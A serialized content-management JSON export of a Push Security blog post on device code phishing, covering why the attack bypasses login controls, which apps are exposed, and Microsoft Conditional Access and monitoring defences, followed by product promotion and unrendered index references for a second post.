targeting the login — it's targeting the authorization layer instead.",{"data":32132,"content":32133,"nodeType":866},{},[32134],{"data":32135,"marks":32136,"value":32137,"nodeType":865},{},[],"This is what makes device code phishing different to other standard phishing methods like AiTM phishing (and arguably even more effective in environments with strict identity control enforcement). ",{"data":32139,"content":32140,"nodeType":1458},{},[32141],{"data":32142,"marks":32143,"value":32145,"nodeType":865},{},[32144],{"type":961},"Device code logins are a feature, not a vulnerability, making attacks difficult to block",{"data":32147,"content":32148,"nodeType":866},{},[32149],{"data":32150,"marks":32151,"value":32152,"nodeType":865},{},[],"Device code authorization is a legitimate mechanism regularly used in enterprise environments, particularly for CLI logins. Tools like Azure CLI, GitHub CLI, and AWS CLI all use (or have used) the device code flow as a primary or fallback authentication method. This creates a dual problem for defenders. ",{"data":32154,"content":32155,"nodeType":866},{},[32156],{"data":32157,"marks":32158,"value":32159,"nodeType":865},{},[],"First, the phishing attack happens entirely on a legitimate site — there's no fake login page, no malicious payload to scan for, and the URL in the browser is genuine. Since there's no traditional phishing content being delivered, these attacks are more resistant to detection by email and network security tools.",{"data":32161,"content":32162,"nodeType":866},{},[32163],{"data":32164,"marks":32165,"value":32166,"nodeType":865},{},[],"Second, the widespread legitimate use of device code flow — particularly among developers and technical users — normalizes the experience of entering device codes. A phishing lure asking them to do the same thing is indistinguishable from a legitimate IT request. And for non-technical users, this experience isn't much different to, for example, entering a code sent via email or authenticator app. ",{"data":32168,"content":32169,"nodeType":1458},{},[32170],{"data":32171,"marks":32172,"value":32174,"nodeType":865},{},[32173],{"type":961},"Multiple apps are vulnerable, with different risk profiles",{"data":32176,"content":32177,"nodeType":866},{},[32178],{"data":32179,"marks":32180,"value":32181,"nodeType":865},{},[],"Various apps implement the device code flow, each with different levels of control and default security, but the risk is not uniform across platforms. ",{"data":32183,"content":32184,"nodeType":1049},{},[32185,32200,32214],{"data":32186,"content":32187,"nodeType":1003},{},[32188],{"data":32189,"content":32190,"nodeType":866},{},[32191,32196],{"data":32192,"marks":32193,"value":32195,"nodeType":865},{},[32194],{"type":961},"Google Workspace ",{"data":32197,"marks":32198,"value":32199,"nodeType":865},{},[],"is a significantly lower-risk target because Google explicitly limits which scopes are available to the device code flow — Gmail, Calendar, and most Workspace APIs are simply unavailable through this mechanism. ",{"data":32201,"content":32202,"nodeType":1003},{},[32203],{"data":32204,"content":32205,"nodeType":866},{},[32206,32210],{"data":32207,"marks":32208,"value":29673,"nodeType":865},{},[32209],{"type":961},{"data":32211,"marks":32212,"value":32213,"nodeType":865},{},[]," offers the broadest attack surface due to unrestricted scopes, reusable first-party client IDs, and the FOCI/PRT escalation paths. ",{"data":32215,"content":32216,"nodeType":1003},{},[32217],{"data":32218,"content":32219,"nodeType":866},{},[32220,32224,32228],{"data":32221,"marks":32222,"value":32223,"nodeType":865},{},[],"Apps like ",{"data":32225,"marks":32226,"value":19618,"nodeType":865},{},[32227],{"type":961},{"data":32229,"marks":32230,"value":32231,"nodeType":865},{},[]," sit in between — broad scopes are available (including full repository access), but the attacker must control their own OAuth app and the victim sees an explicit consent screen. ",{"data":32233,"content":32237,"nodeType":925},{"target":32234},{"sys":32235},{"id":32236,"type":922,"linkType":923},"ejNSC76jge1p1zzz9wwiG",[],{"data":32239,"content":32240,"nodeType":953},{},[],{"data":32242,"content":32243,"nodeType":963},{},[32244],{"data":32245,"marks":32246,"value":32248,"nodeType":865},{},[32247],{"type":961},"Security recommendations",{"data":32250,"content":32251,"nodeType":866},{},[32252],{"data":32253,"marks":32254,"value":32255,"nodeType":865},{},[],"Security teams need to consider the risk posed by device code phishing across multiple apps where device code authorization grants are common, particularly for developers and technical users. ",{"data":32257,"content":32258,"nodeType":866},{},[32259],{"data":32260,"marks":32261,"value":32262,"nodeType":865},{},[],"In an ideal world, you would simply block device code logins. But this can’t be done without causing serious disruption in some environments, while some apps simply don’t provide the tools required to do so. For example, device code is the default CLI sign-in method for GitHub. Developer-heavy organizations are likely to encounter higher levels of legitimate use.",{"data":32264,"content":32265,"nodeType":866},{},[32266,32270,32279,32283,32288,32292,32297,32301,32306],{"data":32267,"marks":32268,"value":32269,"nodeType":865},{},[],"Microsoft arguably offers the strongest control options (other than Google, who negate it right out of the gate), though they do require a fair amount of work. ",{"data":32271,"content":32273,"nodeType":882},{"uri":32272},"https://techcommunity.microsoft.com/blog/microsoft-entra-blog/new-microsoft-managed-policies-to-raise-your-identity-security-posture/4286758",[32274],{"data":32275,"marks":32276,"value":32278,"nodeType":865},{},[32277],{"type":997},"Microsoft now explicitly recommends",{"data":32280,"marks":32281,"value":32282,"nodeType":865},{},[]," blocking device code flow for tenants that haven't used it in the past 25 days. Their guidance is to create a custom CA policy: target relevant users, set the ",{"data":32284,"marks":32285,"value":32287,"nodeType":865},{},[32286],{"type":961},"Authentication Flows",{"data":32289,"marks":32290,"value":32291,"nodeType":865},{},[]," condition to block ",{"data":32293,"marks":32294,"value":32296,"nodeType":865},{},[32295],{"type":961},"Device Code Flow",{"data":32298,"marks":32299,"value":32300,"nodeType":865},{},[],", and set the grant control to ",{"data":32302,"marks":32303,"value":32305,"nodeType":865},{},[32304],{"type":961},"Block Access",{"data":32307,"marks":32308,"value":32309,"nodeType":865},{},[],". Deploy in report-only mode first to identify any legitimate device code usage, then enforce with narrow exceptions.",{"data":32311,"content":32315,"nodeType":925},{"target":32312},{"sys":32313},{"id":32314,"type":922,"linkType":923},"mQIj2o9xRzkZYKNmanB25",[],{"data":32317,"content":32318,"nodeType":866},{},[32319],{"data":32320,"marks":32321,"value":32322,"nodeType":865},{},[],"For other apps, you’re mainly limited to monitoring and response. Ensuring you’re getting authentication logs for these apps is vital, and searching for unusual access patterns (e.g. unusual login protocols, having different IPs for the authorization grant and subsequent account activity). ",{"data":32324,"content":32325,"nodeType":953},{},[],{"data":32327,"content":32328,"nodeType":963},{},[32329],{"data":32330,"marks":32331,"value":32333,"nodeType":865},{},[32332],{"type":961},"How Push Security can help",{"data":32335,"content":32336,"nodeType":866},{},[32337],{"data":32338,"marks":32339,"value":32340,"nodeType":865},{},[],"Push customers can use our browser-based capabilities to overcome the limitations of app-level controls and detect, intercept, and shut down attacks in real time. ",{"data":32342,"content":32343,"nodeType":866},{},[32344],{"data":32345,"marks":32346,"value":32347,"nodeType":865},{},[],"Our research team is already tracking multiple device code phishing campaigns and toolkits, including the EvilTokens kit. Blocking controls are already in place to prevent customers from interacting with malicious pages that match our detections for these new toolkits, ensuring that these pages can be identified and blocked in real time regardless of the infrastructure. ",{"data":32349,"content":32350,"nodeType":866},{},[32351,32355,32364],{"data":32352,"marks":32353,"value":32354,"nodeType":865},{},[],"Using Push you can also ",{"data":32356,"content":32358,"nodeType":882},{"uri":32357},"https://pushsecurity.com/help/can-i-use-push-to-help-protect-against-device-code-phishing-scenarios/",[32359],{"data":32360,"marks":32361,"value":32363,"nodeType":865},{},[32362],{"type":997},"configure in-browser warnings",{"data":32365,"marks":32366,"value":32367,"nodeType":865},{},[]," whenever a user accesses a URL used for device code logins. This provides universal, last-mile protection against even ‘zero-day’ device code phishing attacks using previously unidentified toolkits.  ",{"data":32369,"content":32373,"nodeType":925},{"target":32370},{"sys":32371},{"id":32372,"type":922,"linkType":923},"3JsbGaOKSS3INzBUJpoh1W",[],{"data":32375,"content":32376,"nodeType":866},{},[32377],{"data":32378,"marks":32379,"value":32380,"nodeType":865},{},[],"When a user visits those URLs, Push will also emit a webhook event that the banner was shown and acknowledged. If a user opts to proceed, you can treat this as a high-fidelity alert for your security team to investigate, providing app-agnostic telemetry that may not already be provided in your logs from that particular vendor. You can also simply use Push to block users from accessing device login pages if you’re confident that disruption won’t be caused. ",{"data":32382,"content":32383,"nodeType":1458},{},[32384],{"data":32385,"marks":32386,"value":1704,"nodeType":865},{},[32387],{"type":961},{"data":32389,"content":32390,"nodeType":866},{},[32391],{"data":32392,"marks":32393,"value":32394,"nodeType":865},{},[],"Push Security's browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.",{"data":32396,"content":32397,"nodeType":866},{},[32398,32402,32409,32412,32420,32423,32430],{"data":32399,"marks":32400,"value":32401,"nodeType":865},{},[],"To learn more about Push, ",{"data":32403,"content":32404,"nodeType":882},{"uri":22700},[32405],{"data":32406,"marks":32407,"value":22706,"nodeType":865},{},[32408],{"type":997},{"data":32410,"marks":32411,"value":2186,"nodeType":865},{},[],{"data":32413,"content":32414,"nodeType":882},{"uri":22712},[32415],{"data":32416,"marks":32417,"value":32419,"nodeType":865},{},[32418],{"type":997},"view our demo library",{"data":32421,"marks":32422,"value":22722,"nodeType":865},{},[],{"data":32424,"content":32425,"nodeType":882},{"uri":1728},[32426],{"data":32427,"marks":32428,"value":22730,"nodeType":865},{},[32429],{"type":997},{"data":32431,"marks":32432,"value":1048,"nodeType":865},{},[],"Device code phishing attacks have skyrocketed: here’s what you need to know","Device code phishing is seeing a huge spike in adoption in 2026, enabling attackers to steal access tokens while bypassing standard access controls.","2026-04-04T00:00:00.000Z",{"items":32437},[32438,32440],{"sys":32439,"name":11426},{"id":11425},{"sys":32441,"name":342},{"id":8410},{"items":32443},[32444],{"fullName":32445,"firstName":32446,"jobTitle":32447,"profilePicture":32448},"Luke Jennings","Luke","Vice President, R&D",{"url":32449},"https://images.ctfassets.net/y1cdw1ablpvd/4Hosb4zKi1dA0PUyDLMe1h/27e09d894861f2196ba794037986fb08/T016S22KZ96-U02NVQM7ZD4-57761d542d83-512.jpeg",{"__typename":1788,"sys":32451,"content":32452,"title":5016,"synopsis":5017,"hashTags":59,"publishedDate":5018,"slug":5019,"tagsCollection":33521,"authorsCollection":33527},{"id":3781},{"json":32453},{"data":32454,"content":32455,"nodeType":1739},{},[32456,32469,32474,32480,32486,32491,32494,32501,32508,32523,32561,32566,32579,32582,32589,32596,32618,32650,32656,32659,32666,32673,32679,32684,32690,32693,32700,32707,32741,32771,32777,32780,32787,32794,32814,32820,32859,32865,32868,32875,32882,32918,32924,32929,32932,32939,32946,32972,32978,32983,32989,32992,32999,33006,33029,33035,33041,33047,33050,33057,33064,33070,33075,33081,33102,33125,33128,33135,33142,33148,33154,33157,33164,33219,33222,33229,33235,33503,33506],{"data":32457,"content":32458,"nodeType":866},{},[32459,32462,32466],{"data":32460,"marks":32461,"value":3792,"nodeType":865},{},[],{"data":32463,"marks":32464,"value":3797,"nodeType":865},{},[32465],{"type":961},{"data":32467,"marks":32468,"value":3801,"nodeType":865},{},[],{"data":32470,"content":32473,"nodeType":925},{"target":32471},{"sys":32472},{"id":3806,"type":922,"linkType":923},[],{"data":32475,"content":32476,"nodeType":866},{},[32477],{"data":32478,"marks":32479,"value":3814,"nodeType":865},{},[],{"data":32481,"content":32482,"nodeType":866},{},[32483],{"data":32484,"marks":32485,"value":3821,"nodeType":865},{},[],{"data":32487,"content":32490,"nodeType":925},{"target":32488},{"sys":32489},{"id":3826,"type":922,"linkType":923},[],{"data":32492,"content":32493,"nodeType":953},{},[],{"data":32495,"content":32496,"nodeType":963},{},[32497],{"data":32498,"marks":32499,"value":3838,"nodeType":865},{},[32500],{"type":961},{"data":32502,"content":32503,"nodeType":866},{},[32504],{"data":32505,"marks":32506,"value":3846,"nodeType":865},{},[32507],{"type":961},{"data":32509,"content":32510,"nodeType":866},{},[32511,32514,32520],{"data":32512,"marks":32513,"value":3853,"nodeType":865},{},[],{"data":32515,"content":32516,"nodeType":882},{"uri":3856},[32517],{"data":32518,"marks":32519,"value":3861,"nodeType":865},{},[],{"data":32521,"marks":32522,"value":3865,"nodeType":865},{},[],{"data":32524,"content":32525,"nodeType":866},{},[32526,32529,32535,32538,32542,32545,32549,32552,32558],{"data":32527,"marks":32528,"value":3872,"nodeType":865},{},[],{"data":32530,"content":32531,"nodeType":882},{"uri":3875},[32532],{"data":32533,"marks":32534,"value":3880,"nodeType":865},{},[],{"data":32536,"marks":32537,"value":2186,"nodeType":865},{},[],{"data":32539,"marks":32540,"value":3888,"nodeType":865},{},[32541],{"type":961},{"data":32543,"marks":32544,"value":3892,"nodeType":865},{},[],{"data":32546,"marks":32547,"value":3897,"nodeType":865},{},[32548],{"type":961},{"data":32550,"marks":32551,"value":3901,"nodeType":865},{},[],{"data":32553,"content":32554,"nodeType":882},{"uri":3904},[32555],{"data":32556,"marks":32557,"value":3909,"nodeType":865},{},[],{"data":32559,"marks":32560,"value":3913,"nodeType":865},{},[],{"data":32562,"content":32565,"nodeType":925},{"target":32563},{"sys":32564},{"id":3918,"type":922,"linkType":923},[],{"data":32567,"content":32568,"nodeType":866},{},[32569,32572,32576],{"data":32570,"marks":32571,"value":3926,"nodeType":865},{},[],{"data":32573,"marks":32574,"value":3931,"nodeType":865},{},[32575],{"type":961},{"data":32577,"marks":32578,"value":1048,"nodeType":865},{},[],{"data":32580,"content":32581,"nodeType":953},{},[],{"data":32583,"content":32584,"nodeType":963},{},[32585],{"data":32586,"marks":32587,"value":3945,"nodeType":865},{},[32588],{"type":961},{"data":32590,"content":32591,"nodeType":866},{},[32592],{"data":32593,"marks":32594,"value":3846,"nodeType":865},{},[32595],{"type":961},{"data":32597,"content":32598,"nodeType":866},{},[32599,32602,32608,32611,32615],{"data":32600,"marks":32601,"value":3959,"nodeType":865},{},[],{"data":32603,"content":32604,"nodeType":882},{"uri":3962},[32605],{"data":32606,"marks":32607,"value":3967,"nodeType":865},{},[],{"data":32609,"marks":32610,"value":3971,"nodeType":865},{},[],{"data":32612,"marks":32613,"value":3976,"nodeType":865},{},[32614],{"type":961},{"data":32616,"marks":32617,"value":3980,"nodeType":865},{},[],{"data":32619,"content":32620,"nodeType":866},{},[32621,32624,32630,32633,32637,32640,32647],{"data":32622,"marks":32623,"value":3987,"nodeType":865},{},[],{"data":32625,"content":32626,"nodeType":882},{"uri":3990},[32627],{"data":32628,"marks":32629,"value":3995,"nodeType":865},{},[],{"data":32631,"marks":32632,"value":3999,"nodeType":865},{},[],{"data":32634,"marks":32635,"value":4004,"nodeType":865},{},[32636],{"type":961},{"data":32638,"marks":32639,"value":4008,"nodeType":865},{},[],{"data":32641,"content":32642,"nodeType":882},{"uri":4011},[32643],{"data":32644,"marks":32645,"value":4017,"nodeType":865},{},[32646],{"type":961},{"data":32648,"marks":32649,"value":4021,"nodeType":865},{},[],{"data":32651,"content":32652,"nodeType":866},{},[32653],{"data":32654,"marks":32655,"value":4028,"nodeType":865},{},[],{"data":32657,"content":32658,"nodeType":953},{},[],{"data":32660,"content":32661,"nodeType":963},{},[32662],{"data":32663,"marks":32664,"value":4039,"nodeType":865},{},[32665],{"type":961},{"data":32667,"content":32668,"nodeType":866},{},[32669],{"data":32670,"marks":32671,"value":4047,"nodeType":865},{},[32672],{"type":961},{"data":32674,"content":32675,"nodeType":866},{},[32676],{"data":32677,"marks":32678,"value":4054,"nodeType":865},{},[],{"data":32680,"content":32683,"nodeType":925},{"target":32681},{"sys":32682},{"id":4059,"type":922,"linkType":923},[],{"data":32685,"content":32686,"nodeType":866},{},[32687],{"data":32688,"marks":32689,"value":4067,"nodeType":865},{},[],{"data":32691,"content":32692,"nodeType":953},{},[],{"data":32694,"content":32695,"nodeType":963},{},[32696],{"data":32697,"marks":32698,"value":4078,"nodeType":865},{},[32699],{"type":961},{"data":32701,"content":32702,"nodeType":866},{},[32703],{"data":32704,"marks":32705,"value":4047,"nodeType":865},{},[32706],{"type":961},{"data":32708,"content":32709,"nodeType":866},{},[32710,32713,32720,32723,32729,32732,32738],{"data":32711,"marks":32712,"value":4092,"nodeType":865},{},[],{"data":32714,"content":32715,"nodeType":882},{"uri":4095},[32716],{"data":32717,"marks":32718,"value":4101,"nodeType":865},{},[32719],{"type":997},{"data":32721,"marks":32722,"value":2186,"nodeType":865},{},[],{"data":32724,"content":32725,"nodeType":882},{"uri":4107},[32726],{"data":32727,"marks":32728,"value":4112,"nodeType":865},{},[],{"data":32730,"marks":32731,"value":2186,"nodeType":865},{},[],{"data":32733,"content":32734,"nodeType":882},{"uri":4118},[32735],{"data":32736,"marks":32737,"value":4123,"nodeType":865},{},[],{"data":32739,"marks":32740,"value":4127,"nodeType":865},{},[],{"data":32742,"content":32743,"nodeType":866},{},[32744,32747,32754,32757,32761,32764,32768],{"data":32745,"marks":32746,"value":21,"nodeType":865},{},[],{"data":32748,"content":32749,"nodeType":882},{"uri":4136},[32750],{"data":32751,"marks":32752,"value":4142,"nodeType":865},{},[32753],{"type":997},{"data":32755,"marks":32756,"value":4146,"nodeType":865},{},[],{"data":32758,"marks":32759,"value":4151,"nodeType":865},{},[32760],{"type":961},{"data":32762,"marks":32763,"value":4155,"nodeType":865},{},[],{"data":32765,"marks":32766,"value":4160,"nodeType":865},{},[32767],{"type":944},{"data":32769,"marks":32770,"value":4164,"nodeType":865},{},[],{"data":32772,"content":32773,"nodeType":866},{},[32774],{"data":32775,"marks":32776,"value":4171,"nodeType":865},{},[],{"data":32778,"content":32779,"nodeType":953},{},[],{"data":32781,"content":32782,"nodeType":963},{},[32783],{"data":32784,"marks":32785,"value":4182,"nodeType":865},{},[32786],{"type":961},{"data":32788,"content":32789,"nodeType":866},{},[32790],{"data":32791,"marks":32792,"value":4047,"nodeType":865},{},[32793],{"type":961},{"data":32795,"content":32796,"nodeType":866},{},[32797,32800,32804,32807,32811],{"data":32798,"marks":32799,"value":4196,"nodeType":865},{},[],{"data":32801,"marks":32802,"value":4201,"nodeType":865},{},[32803],{"type":944},{"data":32805,"marks":32806,"value":4205,"nodeType":865},{},[],{"data":32808,"marks":32809,"value":4210,"nodeType":865},{},[32810],{"type":944},{"data":32812,"marks":32813,"value":4214,"nodeType":865},{},[],{"data":32815,"content":32816,"nodeType":866},{},[32817],{"data":32818,"marks":32819,"value":4221,"nodeType":865},{},[],{"data":32821,"content":32822,"nodeType":1049},{},[32823,32841],{"data":32824,"content":32825,"nodeType":1003},{},[32826],{"data":32827,"content":32828,"nodeType":866},{},[32829,32832,32838],{"data":32830,"marks":32831,"value":873,"nodeType":865},{},[],{"data":32833,"content":32834,"nodeType":882},{"uri":4236},[32835],{"data":32836,"marks":32837,"value":4241,"nodeType":865},{},[],{"data":32839,"marks":32840,"value":4245,"nodeType":865},{},[],{"data":32842,"content":32843,"nodeType":1003},{},[32844],{"data":32845,"content":32846,"nodeType":866},{},[32847,32850,32856],{"data":32848,"marks":32849,"value":873,"nodeType":865},{},[],{"data":32851,"content":32852,"nodeType":882},{"uri":3288},[32853],{"data":32854,"marks":32855,"value":4261,"nodeType":865},{},[],{"data":32857,"marks":32858,"value":4265,"nodeType":865},{},[],{"data":32860,"content":32861,"nodeType":866},{},[32862],{"data":32863,"marks":32864,"value":4272,"nodeType":865},{},[],{"data":32866,"content":32867,"nodeType":953},{},[],{"data":32869,"content":32870,"nodeType":963},{},[32871],{"data":32872,"marks":32873,"value":4283,"nodeType":865},{},[32874],{"type":961},{"data":32876,"content":32877,"nodeType":866},{},[32878],{"data":32879,"marks":32880,"value":4291,"nodeType":865},{},[32881],{"type":961},{"data":32883,"content":32884,"nodeType":866},{},[32885,32888,32892,32895,32901,32904,32908,32911,32915],{"data":32886,"marks":32887,"value":4298,"nodeType":865},{},[],{"data":32889,"marks":32890,"value":4303,"nodeType":865},{},[32891],{"type":961},{"data":32893,"marks":32894,"value":4307,"nodeType":865},{},[],{"data":32896,"content":32897,"nodeType":882},{"uri":1362},[32898],{"data":32899,"marks":32900,"value":4314,"nodeType":865},{},[],{"data":32902,"marks":32903,"value":4318,"nodeType":865},{},[],{"data":32905,"marks":32906,"value":4323,"nodeType":865},{},[32907],{"type":961},{"data":32909,"marks":32910,"value":4327,"nodeType":865},{},[],{"data":32912,"marks":32913,"value":4332,"nodeType":865},{},[32914],{"type":961},{"data":32916,"marks":32917,"value":4336,"nodeType":865},{},[],{"data":32919,"content":32920,"nodeType":866},{},[32921],{"data":32922,"marks":32923,"value":4343,"nodeType":865},{},[],{"data":32925,"content":32928,"nodeType":925},{"target":32926},{"sys":32927},{"id":4348,"type":922,"linkType":923},[],{"data":32930,"content":32931,"nodeType":953},{},[],{"data":32933,"content":32934,"nodeType":963},{},[32935],{"data":32936,"marks":32937,"value":4360,"nodeType":865},{},[32938],{"type":961},{"data":32940,"content":32941,"nodeType":866},{},[32942],{"data":32943,"marks":32944,"value":4368,"nodeType":865},{},[32945],{"type":961},{"data":32947,"content":32948,"nodeType":866},{},[32949,32952,32959,32962,32969],{"data":32950,"marks":32951,"value":4375,"nodeType":865},{},[],{"data":32953,"content":32954,"nodeType":882},{"uri":4378},[32955],{"data":32956,"marks":32957,"value":4384,"nodeType":865},{},[32958],{"type":961},{"data":32960,"marks":32961,"value":4388,"nodeType":865},{},[],{"data":32963,"content":32964,"nodeType":882},{"uri":4391},[32965],{"data":32966,"marks":32967,"value":4397,"nodeType":865},{},[32968],{"type":961},{"data":32970,"marks":32971,"value":4401,"nodeType":865},{},[],{"data":32973,"content":32974,"nodeType":866},{},[32975],{"data":32976,"marks":32977,"value":4408,"nodeType":865},{},[],{"data":32979,"content":32982,"nodeType":925},{"target":32980},{"sys":32981},{"id":4413,"type":922,"linkType":923},[],{"data":32984,"content":32985,"nodeType":866},{},[32986],{"data":32987,"marks":32988,"value":4421,"nodeType":865},{},[],{"data":32990,"content":32991,"nodeType":953},{},[],{"data":32993,"content":32994,"nodeType":963},{},[32995],{"data":32996,"marks":32997,"value":4432,"nodeType":865},{},[32998],{"type":961},{"data":33000,"content":33001,"nodeType":866},{},[33002],{"data":33003,"marks":33004,"value":4440,"nodeType":865},{},[33005],{"type":961},{"data":33007,"content":33008,"nodeType":866},{},[33009,33012,33016,33019,33026],{"data":33010,"marks":33011,"value":4447,"nodeType":865},{},[],{"data":33013,"marks":33014,"value":4452,"nodeType":865},{},[33015],{"type":944},{"data":33017,"marks":33018,"value":4456,"nodeType":865},{},[],{"data":33020,"content":33021,"nodeType":882},{"uri":4459},[33022],{"data":33023,"marks":33024,"value":4465,"nodeType":865},{},[33025],{"type":961},{"data":33027,"marks":33028,"value":4469,"nodeType":865},{},[],{"data":33030,"content":33031,"nodeType":866},{},[33032],{"data":33033,"marks":33034,"value":4476,"nodeType":865},{},[],{"data":33036,"content":33037,"nodeType":866},{},[33038],{"data":33039,"marks":33040,"value":4483,"nodeType":865},{},[],{"data":33042,"content":33043,"nodeType":866},{},[33044],{"data":33045,"marks":33046,"value":4490,"nodeType":865},{},[],{"data":33048,"content":33049,"nodeType":953},{},[],{"data":33051,"content":33052,"nodeType":963},{},[33053],{"data":33054,"marks":33055,"value":4501,"nodeType":865},{},[33056],{"type":961},{"data":33058,"content":33059,"nodeType":866},{},[33060],{"data":33061,"marks":33062,"value":4509,"nodeType":865},{},[33063],{"type":961},{"data":33065,"content":33066,"nodeType":866},{},[33067],{"data":33068,"marks":33069,"value":4516,"nodeType":865},{},[],{"data":33071,"content":33074,"nodeType":925},{"target":33072},{"sys":33073},{"id":4521,"type":922,"linkType":923},[],{"data":33076,"content":33077,"nodeType":866},{},[33078],{"data":33079,"marks":33080,"value":4529,"nodeType":865},{},[],{"data":33082,"content":33083,"nodeType":1049},{},[33084,33093],{"data":33085,"content":33086,"nodeType":1003},{},[33087],{"data":33088,"content":33089,"nodeType":866},{},[33090],{"data":33091,"marks":33092,"value":4542,"nodeType":865},{},[],{"data":33094,"content":33095,"nodeType":1003},{},[33096],{"data":33097,"content":33098,"nodeType":866},{},[33099],{"data":33100,"marks":33101,"value":4552,"nodeType":865},{},[],{"data":33103,"content":33104,"nodeType":866},{},[33105,33108,33115,33118,33122],{"data":33106,"marks":33107,"value":4559,"nodeType":865},{},[],{"data":33109,"content":33110,"nodeType":882},{"uri":4562},[33111],{"data":33112,"marks":33113,"value":4568,"nodeType":865},{},[33114],{"type":961},{"data":33116,"marks":33117,"value":4572,"nodeType":865},{},[],{"data":33119,"marks":33120,"value":4577,"nodeType":865},{},[33121],{"type":944},{"data":33123,"marks":33124,"value":4581,"nodeType":865},{},[],{"data":33126,"content":33127,"nodeType":953},{},[],{"data":33129,"content":33130,"nodeType":963},{},[33131],{"data":33132,"marks":33133,"value":4592,"nodeType":865},{},[33134],{"type":961},{"data":33136,"content":33137,"nodeType":866},{},[33138],{"data":33139,"marks":33140,"value":4600,"nodeType":865},{},[33141],{"type":961},{"data":33143,"content":33144,"nodeType":866},{},[33145],{"data":33146,"marks":33147,"value":4607,"nodeType":865},{},[],{"data":33149,"content":33150,"nodeType":866},{},[33151],{"data":33152,"marks":33153,"value":4614,"nodeType":865},{},[],{"data":33155,"content":33156,"nodeType":953},{},[],{"data":33158,"content":33159,"nodeType":963},{},[33160],{"data":33161,"marks":33162,"value":4625,"nodeType":865},{},[33163],{"type":961},{"data":33165,"content":33166,"nodeType":1049},{},[33167,33180,33193,33206],{"data":33168,"content":33169,"nodeType":1003},{},[33170],{"data":33171,"content":33172,"nodeType":866},{},[33173,33177],{"data":33174,"marks":33175,"value":4639,"nodeType":865},{},[33176],{"type":961},{"data":33178,"marks":33179,"value":4643,"nodeType":865},{},[],{"data":33181,"content":33182,"nodeType":1003},{},[33183],{"data":33184,"content":33185,"nodeType":866},{},[33186,33190],{"data":33187,"marks":33188,"value":4654,"nodeType":865},{},[33189],{"type":961},{"data":33191,"marks":33192,"value":4658,"nodeType":865},{},[],{"data":33194,"content":33195,"nodeType":1003},{},[33196],{"data":33197,"content":33198,"nodeType":866},{},[33199,33203],{"data":33200,"marks":33201,"value":4669,"nodeType":865},{},[33202],{"type":961},{"data":33204,"marks":33205,"value":4673,"nodeType":865},{},[],{"data":33207,"content":33208,"nodeType":1003},{},[33209],{"data":33210,"content":33211,"nodeType":866},{},[33212,33216],{"data":33213,"marks":33214,"value":781,"nodeType":865},{},[33215],{"type":961},{"data":33217,"marks":33218,"value":4687,"nodeType":865},{},[],{"data":33220,"content":33221,"nodeType":953},{},[],{"data":33223,"content":33224,"nodeType":963},{},[33225],{"data":33226,"marks":33227,"value":4698,"nodeType":865},{},[33228],{"type":961},{"data":33230,"content":33231,"nodeType":866},{},[33232],{"data":33233,"marks":33234,"value":4705,"nodeType":865},{},[],{"data":33236,"content":33237,"nodeType":2396},{},[33238,33261,33283,33305,33327,33349,33371,33393,33415,33437,33459,33481],{"data":33239,"content":33240,"nodeType":1869},{},[33241,33251],{"data":33242,"content":33243,"nodeType":1835},{},[33244],{"data":33245,"content":33246,"nodeType":866},{},[33247],{"data":33248,"marks":33249,"value":4722,"nodeType":865},{},[33250],{"type":961},{"data":33252,"content":33253,"nodeType":1835},{},[33254],{"data":33255,"content":33256,"nodeType":866},{},[33257],{"data":33258,"marks":33259,"value":4733,"nodeType":865},{},[33260],{"type":961},{"data":33262,"content":33263,"nodeType":1869},{},[33264,33274],{"data":33265,"content":33266,"nodeType":1835},{},[33267],{"data":33268,"content":33269,"nodeType":866},{},[33270],{"data":33271,"marks":33272,"value":4747,"nodeType":865},{},[33273],{"type":961},{"data":33275,"content":33276,"nodeType":1835},{},[33277],{"data":33278,"content":33279,"nodeType":866},{},[33280],{"data":33281,"marks":33282,"value":4757,"nodeType":865},{},[],{"data":33284,"content":33285,"nodeType":1869},{},[33286,33296],{"data":33287,"content":33288,"nodeType":1835},{},[33289],{"data":33290,"content":33291,"nodeType":866},{},[33292],{"data":33293,"marks":33294,"value":4771,"nodeType":865},{},[33295],{"type":961},{"data":33297,"content":33298,"nodeType":1835},{},[33299],{"data":33300,"content":33301,"nodeType":866},{},[33302],{"data":33303,"marks":33304,"value":4781,"nodeType":865},{},[],{"data":33306,"content":33307,"nodeType":1869},{},[33308,33318],{"data":33309,"content":33310,"nodeType":1835},{},[33311],{"data":33312,"content":33313,"nodeType":866},{},[33314],{"data":33315,"marks":33316,"value":4795,"nodeType":865},{},[33317],{"type":961},{"data":33319,"content":33320,"nodeType":1835},{},[33321],{"data":33322,"content":33323,"nodeType":866},{},[33324],{"data":33325,"marks":33326,"value":4805,"nodeType":865},{},[],{"data":33328,"content":33329,"nodeType":1869},{},[33330,33340],{"data":33331,"content":33332,"nodeType":1835},{},[33333],{"data":33334,"content":33335,"nodeType":866},{},[33336],{"data":33337,"marks":33338,"value":4819,"nodeType":865},{},[33339],{"type":961},{"data":33341,"content":33342,"nodeType":1835},{},[33343],{"data":33344,"content":33345,"nodeType":866},{},[33346],{"data":33347,"marks":33348,"value":4829,"nodeType":865},{},[],{"data":33350,"content":33351,"nodeType":1869},{},[33352,33362],{"data":33353,"content":33354,"nodeType":1835},{},[33355],{"data":33356,"content":33357,"nodeType":866},{},[33358],{"data":33359,"marks":33360,"value":4843,"nodeType":865},{},[33361],{"type":961},{"data":33363,"content":33364,"nodeType":1835},{},[33365],{"data":33366,"content":33367,"nodeType":866},{},[33368],{"data":33369,"marks":33370,"value":4853,"nodeType":865},{},[],{"data":33372,"content":33373,"nodeType":1869},{},[33374,33384],{"data":33375,"content":33376,"nodeType":1835},{},[33377],{"data":33378,"content":33379,"nodeType":866},{},[33380],{"data":33381,"marks":33382,"value":4867,"nodeType":865},{},[33383],{"type":961},{"data":33385,"content":33386,"nodeType":1835},{},[33387],{"data":33388,"content":33389,"nodeType":866},{},[33390],{"data":33391,"marks":33392,"value":4877,"nodeType":865},{},[],{"data":33394,"content":33395,"nodeType":1869},{},[33396,33406],{"data":33397,"content":33398,"nodeType":1835},{},[33399],{"data":33400,"content":33401,"nodeType":866},{},[33402],{"data":33403,"marks":33404,"value":4891,"nodeType":865},{},[33405],{"type":961},{"data":33407,"content":33408,"nodeType":1835},{},[33409],{"data":33410,"content":33411,"nodeType":866},{},[33412],{"data":33413,"marks":33414,"value":4901,"no